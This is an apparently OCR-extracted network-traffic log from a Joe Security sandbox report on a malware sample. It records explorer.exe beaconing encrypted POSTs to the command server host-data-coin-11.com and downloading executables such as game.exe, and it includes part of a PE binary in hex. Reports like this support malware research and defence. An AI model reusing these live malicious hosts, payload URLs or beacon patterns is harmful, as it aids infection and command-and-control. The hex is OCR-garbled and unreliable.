44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://uyqwcjxbf.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 267

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 33 37 0d Oa 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 le 52 25 40 a3 f5 c2 ea fb 5f 5 4d
8b 2d e4 04 08 c7 5¢c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d Oa 30 0d Oa Od Oa

Data Ascii: 371:820R%@_M-\z.TKCO

Destination IP  Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://bncatspln.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 349

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe
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Timestamp

Jan 14, 2022
04:59:05.733947992 CET

Jan 14, 2022
04:59:05.823020935 CET

Session ID

2

Timestamp

Session ID

20

Timestamp

Jan 14, 2022
04:59:05.878139019 CET

Jan 14, 2022
04:59:05.897200108 CET

Session ID
21

Timestamp

Jan 14, 2022
04:59:05.983947992 CET

kBytes
transferred

1451

1452

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

1453

1453

Source IP
192.168.2.3

kBytes
transferred

1454

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49858

Direction

Source Port

49763

Direction

ouT

Source Port
49764

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://bwonexybi.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 262

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 65 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab
Oc 91 6b b9 45 4b 95 09 fd bc 67 €5 32 50 0d 0a 30 0d Oa 0d Oa

Data Ascii: 2el:8200~kEKg2P0

Destination IP Destination Port Process

172.67.139.105 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

54.38.220.85 80 C:\Windows\explorer.exe

Data

GET /install5.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: unicupload.top

HTTP/1.1 404 Not Found

Server: nginx/1.14.0 (Ubuntu)

Date: Fri, 14 Jan 2022 03:57:44 GMT

Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74 65 22 3e 0d Oa 3¢
63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3¢ 2f 63 65 6e 74
65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6c 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1>
</center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Destination IP  Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://sworutss.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 124

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Jan 14, 2022 1456
04:59:06.071681976 CET

Session ID Source IP
22 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 1457

04:59:06.476031065 CET

Jan 14, 2022 1457
04:59:06.579536915 CET

Session ID Source IP
23 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 1463

04:59:06.662708044 CET

Jan 14, 2022 1464
04:59:06.748112917 CET

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49766

Direction

ouT

Source Port
49767

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://drlfnir.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 357

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP  Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rvgyadtl.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 355

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 6368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0
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Session ID Source IP Source Port Destination IP Destination Port Process

24 192.168.2.3 49768 94.142.143.91 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Jan 14, 2022 1465 ouT POST /HTTP/1.1
04:59:06.836819887 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://irhpoghlc.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 165

Host: host-data-coin-11.com

Jan 14, 2022 1466 IN HTTP/1.1 404 Not Found
04:59:06.922924042 CET Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 03:59:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 33 30 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12
93 3a f9 55 50 99 4a f6 €8 24 e5 64 50 06 b9 0d Oa 30 0d Oa 0d Oa
Data Ascii: 301:820R&:UPJ$dPO

Session ID Source IP Source Port Destination IP Destination Port Process

25 192.168.2.3 49769 94.142.143.91 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Jan 14, 2022 1533 ouT GET /game.exe HTTP/1.1

04:59:07.277445078 CET Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com

Jan 14, 2022 1535 IN HTTP/1.1 200 OK

04:59:07.343255043 CET Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 03:59:07 GMT
Content-Type: application/x-msdos-program
Content-Length: 323584
Connection: close
Last-Modified: Fri, 14 Jan 2022 03:59:02 GMT
ETag: "4f000-5d582d2c452d6"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 a5 7a 3c cc el 1b 52 9f el 1b 52 9f el 1b 52 9f ff 49 c7 9f fb 1b 52 9f ff 49 d1 9of
67 1b 52 9f ¢6 dd 29 9f e2 1b 52 9f el 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f ff 49 c3 9f 0 1b
52 9f52 69 63 68 el 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e4 e0 b6 5f 00 00 00 00 00 00 00 00 e0 00
02 01 Ob 01 09 00 00 f6 03 00 00 a8 12 00 00 00 00 00 d0 ¢3 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00
02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 16 00 00 04 00 00 24 33 05 00 02 00 00 80 00 00 10 00
00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 f1 03 00 28 00 00 00 00 10 16
00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 16 00 fO 1d 00 00 90 13 00 00 1c 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00
10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00
62 f4 03 00 00 10 00 00 00 f6 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00
0088 c9 11 00 00 10 04 00 00 18 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 64 75 62 6f 6d 00
00 05 00 00 00 00 €0 15 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 78 61 6b 00 00
00 00 ea 00 00 00 00 fO 15 00 00 02 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 7a 61 77 61
7869 67 93 0d 00 00 00 00 16 00 00 Oe 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72
63 00 00 00 b8 83 00 00 00 10 16 00 00 84 00 00 00 24 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65
6¢ 6f 63 00 00 00 47 00 00 00 a0 16 00 00 48 00 00 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 6¢ f4 03 00 7e f4 03 00 92 f4 03 00 a8 f4 03 00 b8 f4 03 00 c8 f4 03 00 e4 f4 03 00 fc f4 03 00 10 f5 03 00
20 f5 03 00 3a f5 03 00 54 f5 03 00 6¢ f5 03 00 80
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z<RRRIRIgR)RS>RIRIRIRRIChRPEL_@$3(0@@.textb
".data@.dubom@.xak@.zawaxig@.rsrc$@@.relocGH@BI~ :Tl

Session ID Source IP Source Port Destination IP Destination Port Process

26 192.168.2.3 49781 94.142.143.91 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data
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kBytes
Timestamp transferred

Jan 14, 2022 2036
04:59:10.493510008 CET

Jan 14, 2022 2071
04:59:10.574815035 CET

Session ID Source IP
27 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 2072

04:59:10.661796093 CET

Jan 14, 2022 2074
04:59:10.748130083 CET

Session ID Source IP
28 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 2077

04:59:10.884155989 CET

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49782

Direction

ouT

Source Port
49784

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xpbxi.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 320

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://wefker.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 342

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢C 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kyelhwx.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 252

Host: host-data-coin-11.com
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kBytes

Timestamp transferred Direction Data
Jan 14, 2022 2084 IN HTTP/1.1 200 OK
04:59:10.970359087 CET Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process
29 192.168.2.3 49787 94.142.143.91 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Jan 14, 2022 2098 ouT POST /HTTP/1.1
04:59:11.054652929 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://gbuig.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 140

Host: host-data-coin-11.com

Jan 14, 2022 2119 IN HTTP/1.1 404 Not Found
04:59:11.139134884 CET Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 03:59:11 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 62 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46
86 32 ef 06 10 c2 4b el el 39 0d Oa 30 0d Oa 0d Oa
Data Ascii: 2bl:8201<\FF2K90

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.3 49862 144.76.136.153 443 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Session ID Source IP Source Port Destination IP  Destination Port Process

30 192.168.2.3 49789 185.7.214.171 8080 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Jan 14, 2022 2121 ouT GET /6.php HTTP/1.1

04:59:11.262990952 CET Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 185.7.214.171:8080
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kBytes
Timestamp transferred

Jan 14, 2022 2123
04:59:11.344412088 CET

Session ID Source IP
31 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 2696

04:59:13.213493109 CET

Jan 14, 2022 2698
04:59:13.297408104 CET

Session ID Source IP

32 192.168.2.3

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49799

Direction
ouT

Source Port

49800

Data

HTTP/1.1 200 OK

Date: Fri, 14 Jan 2022 03:59:11 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

Content-Transfer-Encoding: Binary

